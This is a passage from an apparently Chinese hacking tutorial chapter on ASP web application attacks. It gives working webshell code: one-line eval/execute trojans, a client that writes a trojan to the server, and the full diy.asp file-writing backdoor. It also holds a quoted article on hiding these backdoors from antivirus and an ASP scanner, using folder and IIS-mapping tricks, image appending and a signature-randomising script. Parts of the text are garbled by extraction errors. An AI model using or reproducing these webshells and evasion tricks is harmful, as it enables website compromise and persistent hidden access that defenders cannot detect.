        //建立流对象,有了对象才可以使用它固有的属性和方法 lP.Open //打开

        lP.Type=2 //以文本方式 lP.CharSet="gb2312" //字体标准 lP.writetext request("value") /

        //取得木马内容 参数 value 可以自己定义 但必须和下面的 name=value 相对应 lP.SaveToFile server.mappath("wei.asp"),2

        //将木马内容以覆盖文件的方式写入 wei.asp,2 就是已覆盖的方式,这里的 wei.asp 也是

        //可以自己

        //定义的,如定义成 1.asp,但和下面的 response.redirect"wei.asp"中 wei.asp 的保持一致

        lP.Close //关闭对象

        set lP=nothing //释放对象 response.redirect "wei.asp"

        //转向生成的 wei.asp 和上面的 wei.asp 相对应,也就是你熟悉的 asp 木马登陆界面

        </textarea>

        //这段程序的功能:利用插入到数据库文件的<%execute request("value")%>这段代码执行第一个 textarea 中的内容,并将添加的木马内容写入和指向 wei.asp,这样就相当于在服务器上建立了个 asp 木马文件,这样就可以取得 webshell 了

        <textarea name=value cols=120 rows=10 width=45> 添 入 生 成 木 马 的 内 容

        </textarea><BR><center><br>

        //这段标签是你用来添加木马内容用的

        <input type=submit value=提交>

        //提交程序的主要框架是

        <form>

        <textarea></textarea>

        //取得木马内容并用无组件上传技术在服务器端创建 asp 木马文件并显示

        <textarea></textarea>

        //添加木马内容用的

        </form>

        这样通过,通过上面的客户端和服务端我们就可以顺利的把 ASP 木马提交到服务器中,从而获得 webshell。虽然现在网上有很多一句话木马客户端的加强版,但是他们和上面还是差不多,只是变的更加方便,程序并无太大变化。

      2. DIY.ASP小马分析

        在前面介绍上传漏洞的时候就提到过它,因为这个小木马不存在和一般完整功能的 (如海洋顶端)木马的关键字。所以它在对抗一些检查文件内容的上传系统时非常的有用,而且这个木马也是一个非常难得的后门。它的作用和一句话木马很相似,但是它用起来比较稳定,不容易造成服务器死机,而一句话木马有的时候就会造成服务器瘫痪等情况的发生。

        所以,下面就为大家介绍这个非常优秀的 ASP 后门,相信通过对它的分析你一定能够对大部分 ASP 后门木马有比较深刻的了解,diy.asp 插入网站后运行的界面如图 7-45 所示。

        image

        图 7-45 diy.asp 木马界面

        使用这个木马很简单,在输入保存路径中我们输入所要保存的大马的路径,而在输入文件的内容中,我们输入大马的代码就可以了,然后点击保存。保存成功之后,我们利用自己输入的保存路径打开大马,这样就得到了一个 webshell 了。下面我们来看看它的核心源代码,如下所示:

        <%@ LANGUAGE = VBScript %>

        <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

        <title>diy.asp</title>

        <% dim objFSO,fdata,objCountFile %>

        <% on error resume next %>

        <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>

        <% if Trim(request("syfdpath"))<>"" then %>

        <% fdata = request("cyfddata") %>

        <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>

        <% objCountFile.Write fdata %>

        <% if err =0 then response.write "<font color=red>save Success!</font>" %>

        <% err.clear %>

        <% end if %>

        <% objCountFile.Close %>

        <% Set objCountFile=Nothing %>

        <% Set objFSO = Nothing %>

        <%response.write "<br>"%>

        <%response.write "本文件绝对路径"%>

        <%=server.mappath(request.servervariables("script_name"))%>

        <%response.write "<br>"%>

        <form method=post>

        <input type=text name=syfdpath value=<%=server.mappath("diy.asp")%> size=60><br>保存路径

        <textarea name=cyfddata cols=80 rows=10 width=32></textarea>

        <input type=submit value="保存">

        </form>

        下面简单解释一下它的代码。

        dim objFSO,fdata,objCountFile 定义了三个变量 objFSO、fdata、objCountFile on error resume next 的意思就是出错了就执行下一条语句

        Set objFSO = Server.CreateObject("Scripting.FileSystemObject")就是把 objFSO 设置为一个 FSO 对象。

        <% if Trim(request("syfdpath"))<>"" then %>

        <% fdata = request("cyfddata") %>

        先接收变量 syfdpath 变量的值并把它两边的空格过滤,然后检测它是否为空,不过不等于空就把 syfdpath 变量的数据赋给 fdata。

        <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>

        <% objCountFile.Write fdata %>

        设定 objCountFile 为一个 textstream 对象变量,并把 objCountFile 的内容写进 fdata 中所记载的路径内。

        <% if err =0 then response.write "<font color=red>save Success!</font>" %>

        <% err.clear %>

        <% end if %>

        <% objCountFile.Close %>

        <% Set objCountFile=Nothing %>

        <% Set objFSO = Nothing %>

        如果没有出错就用红色字体输出 save Success 并关闭 objCountFile 同时释放

        objCountFile 和objFSO。

        <%response.write "<br>"%>

        <%response.write "本文件绝对路径"%>

        <%=server.mappath(request.servervariables("script_name"))%>

        <%response.write "<br>"%>

        <form method=post>

        <input type=text name=syfdpath value=<%=server.mappath("diy.asp")%> size=60><br>保存路径

        <textarea name=cyfddata cols=80 rows=10 width=32></textarea>

        <input type=submit value="保存">

        </form>

        上面的这些就是用 response 输出的 HTML 代码了,这里需要注意就是变量 syfdpath,它是我们输入的路径,而变量 cyfddata 则是我们输入木马的内容的变量。

        我们在来整理一下上面的思路,首先在客户端存在两个变量,它们分别为 syfdpath 和

        cyfddata。其中 syfdpath 是用来保存我们输入的路径,而 cyfddata 是用来保存我们输入的木马的数据。当我们提交数据到了服务器端后,服务器首先检查路径是否为空,如果不为空就接收变量 cyfddata 的数据,即我们输入的木马。并且同时利用我们 syfdpath 变量所提供的路径下创建我们所提交的文件,例如我们提交的路径为 D:\WEB\shell.asp,那么系统就会在 D:\WEB\路径下创建 shell.asp 文件。并同时把接收变量 cyfddata 的数据写入到提交路径下的那个文件中去。如果写入成功的话,就提示成功,否则就出错。

        这样,通过在我们指定目录下创建指定的文件,并把指定的内容写入指定的文件中。所以我们只需要在文件中写入一个木马代码,那么这个文件就会变成一个 webshell 了。

      3. ASP木马免杀

很多情况下,虽然我们获得了 webshell。但是一般服务器上几乎全部会装杀毒软件的,

而且现在还有很多网站使用了雷客图之类的工具,他们都可以对我们上传的木马进行查杀。所以很多情况下,我们一上传个木马就被对方的杀毒软件或雷客图给查出来了,结果就是木马被删除了。所以我们一般在上传木马之前,还要对我们的木马进行免杀处理,目的就是让杀毒软件、雷客图之类的工具无法识别出木马,使得我们的木马可以在网站中一直生存下来。对于 ASP 木马免杀方面,我自己就不发表过多的意见了,因为萍水相逢对 ASP 木马的免杀可以是相当的有经验。所以本节我就引用由萍水相逢写的一篇《对 ASP 木马免杀的研究》的文章,该文章讲的非常全面和细致,对我们学习 ASP 木马免杀相当的有引导性作用,文章的内容如下所示:

对 ASP 木马免杀的研究

现在的杀毒软件越来越厉害了,国内的瑞星、江民、金山,国外的卡巴、MCAFEE、诺顿,就这几个软件,已把我们的“马儿”无情地挡在了门外。前不久,又出来一个叫“雷客图 ASP 站长安全助手”的工具,利用此工具再配合那几种杀毒,可以说,如此一来,这扇门就更坚固了,就相当于给它加了一把大锁,要想进去,真的不容易啊!所以,写此文的目的就是让我们用巧秒的方法打开这扇门,通向黑客的顶峰!

一:常规思路下的免杀

一句话被杀

通常,我们研究一样东西,都会从常规思路出发,当发现此路不通,我们才不得不另僻溪径。

首先看看我们的一句话木马,以下是我们最常用的三种:

1、

<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e)

{}</SCRIPT>这是冰狐浪子的一句话服务端,我们把它放入一个单独的文件中,存为 bin.as p

2、

<%Execute(Request.form("#"))%>,此为蓝屏大哥的一句话,我们存之为 nan.asp 3、

<%Eval Request("#")%>,这是 LAKE2 的一句话服务端,我们存为 lake.asp

将这三个文件放在同一个目录下(我这里使用的目录是 TTFCT),用瑞星、江民、金山、卡巴、MCAFEE、诺顿进行查杀,发现这几个杀毒软件均不杀,不过,不要高兴得太早,我们用“雷客图 ASP 站长安全助手”来查杀一次,启动 IIS,运行“雷客图 ASP 站长安全助手”,进行全站扫描,得到如图 7-46 所示结果:

image

图 7-46 雷客图查询结果

现在你还能免杀么?只要管理员仔细一看,稍微懂一点 ASP 的就会把我们的后门无情地删掉。

一句话下的免杀如果说一句话要免杀,我们可以采取以下方法来试验

1、 利用数据库插入一句话木马

我们随便新建一个数据库,建立一个表,一个字段,在其中插入一句话木马<% ev al request("#") %>,如图 7-47 所示。

image

图 7-47 插入一句话木马服务端

然后在文件后缀后改为 ASP,存为 database.asp,此时用 LAKE2 的客服端进行连接,测试能正常使用,如图 7-48 所示。

image

图 7-48 将数据库改为 asp 格式

用“雷客图 ASP 站长安全助手”进行查杀,发现同样被杀,如图 7-49 所示。

image

图 7-49 雷客图依然可以查杀

2、 利用 UNICODE 精心构造一句话木马

看了 LAKE2 的 ASP 数据库插马小议,有那么一点点想法,抱着试一试的态度看这种所谓的对一句话木马的突破,能否过“雷客图 ASP 站长安全助手”。按 LAKE2 的意思就是把 asp 代码先转化为 Un icode 然后再插入数据库,不过这种转换要精心的构造才能成功,于是下了一个 LAKE2 的工具,构造一句话的 UNICODE 代码,然后将代码插入数据库中,如图 7-50、图 7-51 所示。

image

图 7-50 转换成 Unicode

image

图 7-51 将转换后的数据插入数据库

image

将此数据库保存为 Unicode.ASP,用如下一句话客户端进行连接,提交成功。以下一句话客户端代码:

<form action=http://127.0.0.1/ttfct/unicode.asp method=post>

<textarea name="a" cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream") lP.Open

lP.Type= 2 lP.CharSet= "gb2312" lP.writetext request("ttfct")

lP.SaveToFile server.mappath("ttfct.asp"),2 lP.Close

set lP=nothing response.redirect "ttfct.asp"

</textarea>

<textarea na me=

45> 添 入 生 成 木 马 的 内 容

</textarea><BR><center><br>

<input type=submit value=提交>

120 ro ws=10 w idth=

"ttfct" cols=

现在用“雷客图 ASP 站长安全助手”查杀,同样被杀,如图 7-52 所示。

image

图 7-52 依然被查杀

3、 利用 DBOWENER 下的 LOG 备份,来备份一句话相信大家在入侵过程中,都接触过

DB 下的 LOG 备份,一般情况下,我们备份成功,在浏览器直接访问都会得到如下情况,如图 7-53 所示。

image

图 7-53 利用备份

这种备份下的一句话当然能成功连接,不过,它是否能过那个专杀,测试后我们再次失望,如图 7-54 所示。

image

图 7-54 依然可以被查杀

4、利用微软小漏洞将一句话木马藏于 s..文件夹。这个漏洞很早就被人发现了,相信大家也在利用此漏洞隐藏自己的木马了,建立此文件夹的方法是切换到 DOS 下,输入 md s..\,(提示:删除 S..\文件夹的方法 rd s..\ /s, 然后再输入 y,就行了)下面我们把 bin.asp copy 到 s..\文件夹,如图 7-55 所示。

image

图 7-55 将一句马隐藏在 s..文件夹中

此时我们在浏览器中按以下方式访问http://127.0.0.1/ttfct/s../bin.asp,再利用冰狐浪子的客户端进行连接,成功!如图 7-56 所示。

image

图 7-56 成功访问

这里再次使用“雷客图 ASP 站长安全助手”进行查杀,呵呵,是不是就成功躲过它了!也许,还会有人说把一句话木马以十六进制的形式加入 GIF 或 JPG 后,然后使用<!--#include file="XXX.JPG"-->进行调用,可以达到免杀效果。具体行不行,我们测试了就知道,首先,用 UltraEdit-32 打开一个 JPG 文件,然后选择十六进制编辑,将一句话代码<% eva l request(“#”)%>转化为十六进制复制,然后粘贴到 JPG 文件末尾,如图 7-57 所示:

image

图 7-57 将一句话木马转换成十六进制并粘贴到 JPG 文件末尾

然后我们将此 JPG 文件保存为 add.jpg 后新建一个 ASP 文件命名为 picture.asp,并在其中加入以下代码:

<!--#include file="add.JPG"-->

我们发现,这种方法确实能让我们的马正常运行,但是,他却过不了专杀,如图 7-58 所示。

image

看看我们得到什么提示:

图 7-58 雷客图终于查杀不了了

eval()函数可以执行任意 ASP 代码,被一些后门利用。其形式一般是:eval(X)

但是 javascript 代码中也可以使用,有可能是误报。该文件被 picture.asp 文件包含执行。

对于用“雷客图 ASP 站长安全助手”来查 ASP 木马的管理员来说,这种方法更容易引起他的怀疑,本来算是一种不错的隐藏手段,现在在这种专杀的作用下,我们的马都显得那么力不足心。

在邪八还看到两位兄弟的做法,其中一句说:把文件属性改为系统+隐藏后就可以过这个专杀;另一位说:找一个较深的目录,把 ASP 木马放进去就可过专杀,其实这是不可能的,等会我们分析它的代码就知道了。另外有兄弟提出对一句话使用 ENCODE 加密来过这个工具,其实这都不行的,“雷客图 ASP 站长安全助手”会报加密,如图 7-59 所示。

image

图 7-59 对加密的文件说明到此,在常规思路下,我们得出以下结论:

一句话木马能过所有杀毒软件,但是要不被“雷客图 ASP 站长安全助手”所杀,我们暂时只有通过建立 S..\文件夹的方法来躲过,虽然能过,可要建立 S..\文件夹,我们得拥有系统权限,感觉是不是很不爽,不过没关系,常规下的免杀不成功,并不一定说明对它没有办法,要过它,我们实施下一步方案:有针对性的免杀。

二:针对性下的免杀

如何才能做到有针对性?那就是对那个专杀工具的代码进行研究,观察其运行原理,才能找出其破绽,只有这样,我们可爱的“马儿”才能“起死回生”,才能“在广阔的草原上自由地奔腾”。费话少说,下面请看代码,此扫描所用的文件是 admin_scanshell.asp

代码第一部份:

<%server.ScriptTimeout = 600

DimFileExt = "asp,cer,asa,cdx" ‘//指定扫描文件后缀类型 Dim Report, Sun, SumFiles, SumFolders ‘//以下是取得扫描路径

Sun = 0

SumFiles = 0

SumFolders = 1

if request.Form("path")="" then response.Write("No Hack") response.End()

end if

timer1 = timer

if request.Form("path")="\" then TmpPath = Server.MapPath("\")

elseif request.Form("path")="." then

TmpPath = Server.MapPath(".") else

TmpPath = Server.MapPath("\")&"\"&request.Form("path") end if

%>

以上代码告诉我们:此工具只对四种文件类型"asp,cer,asa,cdx"进行扫描,当然,你可以添加,如后面加上"asp,cer,asa,cdx,aspx,php"等,至于取得扫描路径信息,那不是本文重点

代码第二部:

<%

'遍历处理 path 及其子目录所有文件

Sub ShowAllFile(Path) ‘//定义 SUB 过程

Set FSO = CreateObject("Scripting.FileSystemObject") ‘//建立 FSO 对象if not fso.FolderExists(path) then exit sub ‘//路径不存在则退出 SUB 过程Set f = FSO.GetFolder(Path) ‘//提取 PATH 所在文件夹

Set fc2 = f.files ‘//取得此文件夹下的所有文件For Each myfile in fc2 ‘//循环,获得每一个文件

If CheckExt(FSO.GetExtensionName(path&"\"&myfile.name)) Then ‘/ / 使 用

CheckExt 函数确定此文件是否在扫描的范围内,如果是,则调用 call 函数对之进行检查

Call ScanFile(Path&Temp&"\"&myfile.name, "") SumFiles = SumFiles + 1

End If

Nex t

Set fc = f.SubFolders ‘取得二级目录所在文件夹

For Each f1 in fc ‘循环,提取二级目录的每一个文件夹ShowAllFile path&"\"&f1.name ‘ 递 归 调 用

SumFolders = SumFolders + 1

Next

Set FSO = Nothing End Sub

对于第二部份,我作了比较详细的注释,这部份所起的作用就是遍历处理 path 及其子目录所有文件,path 目录是管理员输入的相对路径,程序通过 request 方法获得,如:管理员输入”\”,则对全站扫描,输入”ttfct”则对目录 ttfct 正行扫描。得到路径后访问取得每一个文件并调用 Call ScanFile()函数对指定文件:"asp,cer,asa,cdx"进行扫描。所以现在可以说明为什么邪八那两位兄弟的说法不对了。

代码第三部份:

Sub ScanFile(FilePath, InFile) If InFile <> "" Then

Infiles = "<font color=red>该文件被<a

href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(InFile)&" "" target=_blank>"& InFile & "</a>文件包含执行</font>"

End If

Set FSOs = CreateObject("Scripting.FileSystemObject") on error resume next

set ofile = fsos.OpenTextFile(FilePath) filetxt = Lcase(ofile.readall())

If err Then Exit Sub end if

if len(filetxt)>0 then '特征码检查 filetxt = vbcrlf & filetxt temp = "<a

href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(replace(r eplace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","/"))&""" target=_blank>"&replace(FilePath,server.MapPath("\")&"\","",1,1,1)&"</a>"

'检查代码中是否存在”wscript.shell”和其对应的 clsid 值,如果存在,则为病毒特征码

If instr( filetxt, Lcase("WScr"&DoMyBest&"ipt.Shell") ) or

Instr( filetxt, Lcase("clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8") ) then

Report =

Report&"<tr><td>"&temp&"</td><td>WScr"&DoMyBest&"ipt.Shell 或者

clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8</td><td><font color=red>危险组件,一般被 ASP 木马利用

</font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filep ath)&"</td></tr>"

Sun = Sun + 1 End if

'检查代码中是否"Shell.Application"和其对应的 clsid 值,如果存在,则为

病毒特征码

If instr( filetxt, Lcase("She"&DoMyBest&"ll.Application") ) or

Instr( filetxt, Lcase("clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000") ) then

Report =

Report&"<tr><td>"&temp&"</td><td>She"&DoMyBest&"ll.Application 或者 clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000</td><td><font color=red>危险组件,一般被 ASP 木马利用

</font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filep ath)&"</td></tr>"

Sun = Sun + 1 End If

'检查是否通过 ENCODE 加密,若加了密,则为病毒特征码 Set regEx = New RegExp

regEx.IgnoreCase = True

regEx.Global = True regEx.Pattern =

"@\s*LANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b" If regEx.Test(filetxt) Then

Report = Report&"<tr><td>"&temp&"</td><td>(vbscript|jscript|javascript).Encode</td><td>< font color=red>似乎脚本被加密了,一般 ASP 文件是不会加密的<a href=plugins/decoder.asp?path="&server.URLEncode(filepath)&" target=_blank>[解密]</a></font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModif y(filepath)&"</td></tr>"

Sun = Sun + 1

End If ' 检 查 代 码 中 是 否 存 在 “eval” 函 数 , 若 存 在 , 则 为 病 毒 特 征 码 regEx.Pattern = "\bEv"&"al\b"

If regEx.Test(filetxt) Then Report =

Report&"<tr><td>"&temp&"</td><td>Ev"&"al</td><td>e"&"val()函数可以执行任意 ASP 代码,被一些后门利用。其形式一般是:ev"&"al(X)<br>但是 javascript 代码中也可以使用,有可能是误报。 "&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"<

/td></tr>"

Sun = Sun + 1 End If

'检查代码中是否存在“Execute”函数,若存在,则为病毒特征码 regEx.Pattern = "[^.]\bExe"&"cute\b"

If regEx.Test(filetxt) Then Report =

Report&"<tr><td>"&temp&"</td><td>Exec"&"ute</td><td><font color=red>e"&"xecute()函数可以执行任意 ASP 代码,被一些后门利用。其形式一般是: ex"&"ecute(X)</font><br>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&Ge tDateModify(filepath)&"</td></tr>"

Sun = Sun + 1 End If

Set regEx = Nothing略去无关代码

……

If Instr(Match.Value, "&") or Instr(Match.Value, "+") or Instr(Match.Value, """")

= 0 or Instr(Match.Value, "(") <> InStrRev(Match.Value, "(") Then Report =

Report&"<tr><td>"&temp&"</td><td>Creat"&"eObject</td><td>Crea"&"teObject 函数使用了变形技术。可能是误报 "&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"<

/td></tr>"

Sun = Sun + 1 exit sub

从这部份代码,我们可以知道,此工具采用特征码技术对文件进行特征码检查,有点类似我们的杀毒软件了,程序采用的特征码有“"shell.application(和其相对应的 classid 值)”, “ wscript.shell ( 和 其 相 对 应 的 classid 值 )”,“ eval ”,“ execute ”, “(vbscript|jscript|javascript).Encode”,“create object”,除此外程序还对使用 include 函数包含

JGP 的文件查杀。只要我们的 ASP 木马中有代码和其特征相符,则程序报素。

下面分析突破方法,要突破此 ASP 木马扫描工具,我们有两条路可选择:

1、 A:从文件名后缀上突破,对于 2000 系统,如果你有服务器权限,可以增加应用程序映射,具体方法是:选择站点→点击属性→主目录→配制→应用程序映射→添加,按如图 7-60 所示:

image

图 7-60 突破文件名

在可执行文件内填入:C:\WINNT\system32\inetsrv\asp.dll,扩展名可随便填,比如我填入“.ttfct”,在动作限于填上 GET,POST 就行了,然后点击确定,应用。现在我们把

ASP 木马后缀名改为“.ttfct”,成功解析,如图 7-61 所示。

image

图 7-61 解析ttfct 后缀成功此时我们使用那个专杀工具查杀,发现已不在报毒了。

B:对于 WINDOWS2003 系统,利用其 IIS 特性建立 Haha.asp 文件夹,将我们的木马的后缀改成一个比较怪的后缀,如“.sys”,“.dll”,“.ch”等等。

具体方法是,建立一个 haha.asp 文件夹,然后放入我们的改了后缀的木马放入其中,使用前提:服务器是 2003 的系统。如图 7-62 所示。

image

图 7-62 前提为 2003 服务器

2、 从特特征码上突破.

对于 ASP 木马代码中含有 wscript.shell,shell.application, Scrip ting.FileSystemObject 和其相对应的 classid 的代码,我们可以采取这样方法修改:如,原来代码是这样:

server.createobject("shell.application") 的 , 我 们 修 改 为 :

server.createobject("she”&ttfct&”ll.application"), 类似的 CreateObject("wscript.shell") 可改为

CreateObject("wscr”&good&”ipt.shell")。由于免杀的 ASP 木马一公布,此马不久就被杀了,所以,我们还是写个程序,采用随机码来对之处理。

程序代码如下:

<%

Dim fsoX, tfile,textfile,chg1,chg2,chg3 Randomize

if trim(request("path"))="" or trim (request("spath"))= ""then response.write ("<script>alert('请填上内容');history.back()</script>") end if

myfiles=server.mappath(trim(request("path"))) savepaths=server.mappath(request("spath"))

Set fso = CreateObject("Scripting.FileSystemObject") if fso.FileExists(myfiles)=false then

response.write ("<script>alert('注意,文件不存在');history.back()</script>") end if

set tfile=fso.OpenTextFile(myfiles,1,false) textfile=Lcase(tfile.readall())

chg3="Scr"&chr(34)&chr(38)&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 68))&chr(38)&chr(34)&"ipting.FileSys"&chr(34)&chr(38)&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 68))&chr(38)&chr(34)&"temobject"

chg2="wscri"&chr(34)&chr(38)&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 68))&chr(38)&chr(34)&"pt.sh"&chr(34)&chr(38)&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 68))&chr(38)&chr(34)&"ell"

chg1="shel"&chr(34)&chr(38)&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 68))&chr(38)&chr(34)&"l.app"&chr(34)&chr(38)&chr(Int((Rnd*20) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*15) + 65))&chr(Int((Rnd*20) + 68))&chr(38)&chr(34)&"lication"

if i nstr(textfile,"shell.application")=0 or ins tr(textfile,"wscript.shell")=0 or instr(textfile,"scripting.filesystemobject")=0 then

response.write ("<script>alert('没有找到特征字符,可能此文件已作了处理,或加了密,请返回 ');history.back()</script>")

else textfile=replace(textfile,"shell.application",lcase(chg1)) textfile=replace(textfile,"wscript.shell",lcase(chg2))

textfile=replace(textfile,"scripting.filesystemobject",lcase(chg3)) set tfile2=fso.OpenTextFile(savepaths,2,true)

tfile2.write textfile

response.write (" <script>alert(' 文件特征码已改变,可以达到一定程序的免杀效果了

');history.back()</script>") end if

tfile.close

tfile2.close

set tfile=nothing set tfile2=nothing set fso=nothing

%>

这个程序使用了 replace 函数对几个特征码作了处理,由于采用了随机函数,每次生成的特征码不同,所以,每个文件都有各自的特征,这样可以达到较好的免杀效果。

对于一句话木马,比如说<% eval request(“#”) %> 我原来的想法是,把 eval 中的任何一个字母作一下变换,当进行执行的时候再变回来,自己实验了很久,也写了个数,却没有成功。如果有高手知道,还多多请指教。

特征码修改+非常规免杀打造终极免杀木马我们这里就以海洋 2006 正式版为例进行说明。

一:具体修改哪些地方:代码中的注释可以删除,

只要能改的地方,我们都应该把它改掉,因为有些杀毒软件将之视为特征码,改掉它,对我们没有坏处。还请 lcx 和 Marcos 大哥原谅哦。这里,我附上两图,如图 7-63、7-64 所示。

image

图 7-63 杀毒软件查杀关键字

image

图 7-64 杀毒软件查杀关键字

二:修改用查找-替换的功能将所有的 pageName 替换为 hf,然后将 Const showLogin = "";改为 Const showLogin = "go",经过这两步后,卡巴、瑞星、MCAFEE 都还报毒,专杀不过。三:用我们的程序对特征码进行修改。经过这一步,成功躲过了卡巴、MCAFEE,不过专杀和瑞星。

四:<object r unat="server" id= "ws" scope= "page" cl assid= "clsid:72C24DD5-D70A-438B-8A4 2-98424B88AFB8"></object>

<object runat= "server" id= "ws" scope= "page" classid ="clsid:F935DC22-1CF0-11D0-ADB9-00 C04FD58A0B"></object>

<object runat= "server" id= "fso" scope= "page" classid ="clsid:0D43FE01-F093-11CF-8940-00A 0C9054228"></object>

<object runat= "server" id= "sa" scope= "page" classid ="clsid:13709620-C279-11CE-A49E-4445

53540000"></object>,我们改为 dim myt emp

m ytemp= server.mappath(".") & " \~86.tmp" ,asppath = replace(mytemp, "\\", "\")这样就成功躲过了瑞星,我测试过,我们的 Wscript.shell 仍可用。只是,不过专杀了。五:对代码进行 ENCODE 加密,然后保为 ASP 文件,不过专杀。

六:打开 fireworks,新建一个 1*1 的图片,然后保存为 m.GIF

七:执行 cmd,使用万能copy 大法,执行如下指令:copy m .gif / b +m 4.asp hacker.asp,成功躲过了专杀。

总结:到这里我们 ASP 程序中常见的漏洞就讲完了,基本上覆盖了 ASP 程序中的大部分漏洞,相信大家都能够掌握,当然也不可能面面都讲到。毕竟技术在飞速发展之中,大家要做的就是在前面的基础不断的学习和探索及发现问题,并解决问题。而在下一章讲实例分析几个完整的例子,以增加大家的实战分析经验。

声明:本章中的很多内容都是来自于互联网,同时有一些地方也摘抄了一些东西,这些内容的版权属于他们。同时还要感谢萍水相逢带来的非常优秀的 ASP 木马免杀文章。

你从本章可以学到如下几点:

  1. ASP 系统中的 cookie 漏洞代码分析

  2. ASP 系统中常见的注入漏洞代码分析

  3. ASP 系统中跨站漏洞代码的分析

  4. ASP 系统中'or''='漏洞代码的简单分析